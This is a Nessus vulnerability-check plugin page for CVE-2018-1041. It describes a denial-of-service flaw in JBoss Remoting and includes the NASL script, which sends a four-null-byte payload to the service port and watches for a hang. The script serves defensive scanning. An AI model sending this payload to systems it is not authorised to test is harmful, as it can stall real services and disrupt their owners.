JBoss Remoting RemoteMessageChannel DoS (intrusive check)

2019-01-31T00:00:00
ID JBOSS_REMOTING_CVE-2018-1041.NASL
Type nessus
Reporter Tenable
Modified 2019-01-31T00:00:00

Description

A denial of service (DoS) vulnerability exists in JBoss Remoting due to the way RemoteMessageChannel, introduced in version 3.3.10.Final-redhat-1, reads from an empty buffer. An unauthenticated, remote attacker can exploit this issue, via a specially crafted message, to cause the JBoss Remoting service running in an infinite loop resulting in high CPU usage.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");

if (description)
{
  script_id(121515);
  script_version("1.1");
  script_cvs_date("Date: 2019/01/31 15:33:07");

  script_cve_id("CVE-2018-1041");
  script_xref(name:"EDB-ID", value:"44099");

  script_name(english:"JBoss Remoting RemoteMessageChannel DoS (intrusive check)");
  script_summary(english:"Attempts to exploit DoS.");

  script_set_attribute(attribute:"synopsis", value:
"A JBoss Remoting service running on the remote host is affected by a
denial of service (DoS) vulnerability.");
  script_set_attribute(attribute:"description", value:
"A denial of service (DoS) vulnerability exists in JBoss Remoting due
to the way RemoteMessageChannel, introduced in version
3.3.10.Final-redhat-1, reads from an empty buffer. An
unauthenticated, remote attacker can exploit this issue, via a
specially crafted message, to cause the JBoss Remoting service
running in an infinite loop resulting in high CPU usage.");

  script_set_attribute(attribute:"see_also", value:"https://bugzilla.redhat.com/show_bug.cgi?id=1530457");
  script_set_attribute(attribute:"solution", value:
"Upgrade to JBoss Remoting version 3.3.12.Final-redhat-2 or later / 
JBoss Enterprise Application Platform 6.4.19 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_set_attribute(attribute:'cvss_score_source', value:"CVE-2018-1041");

  script_set_attribute(attribute:"vuln_publication_date",value:"2018/01/03");
  script_set_attribute(attribute:"patch_publication_date",value:"2018/02/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/01/31");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:jboss:jboss-remoting");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:redhat:jboss_enterprise_application_platform");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"Denial of Service");

  script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_dependencies("jboss_remoting_detect.nbin");
  script_require_ports("jboss-remoting", 4447, 9999);
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");

port = get_service(svc:'jboss-remoting', default:4447, exit_on_fail:TRUE);
soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_PORT_CLOSED, port);

send(socket: soc, data: '\x00\x00\x00\x00');
shutdown(socket: soc, how: SHUT_WR);
res = recv(socket: soc, length: 4096);
err = socket_get_error(soc);
close(soc);
if(err == ECONNRESET)
{
  audit(AUDIT_LISTEN_NOT_VULN, 'JBoss Remoting', port);
}
else if (err == ETIMEDOUT)
{
  security_report_v4(
    port: port,
    severity: SECURITY_WARNING
  );
}
else
{
  exit(1, 'Unexpected socket status ' + err + '.');
}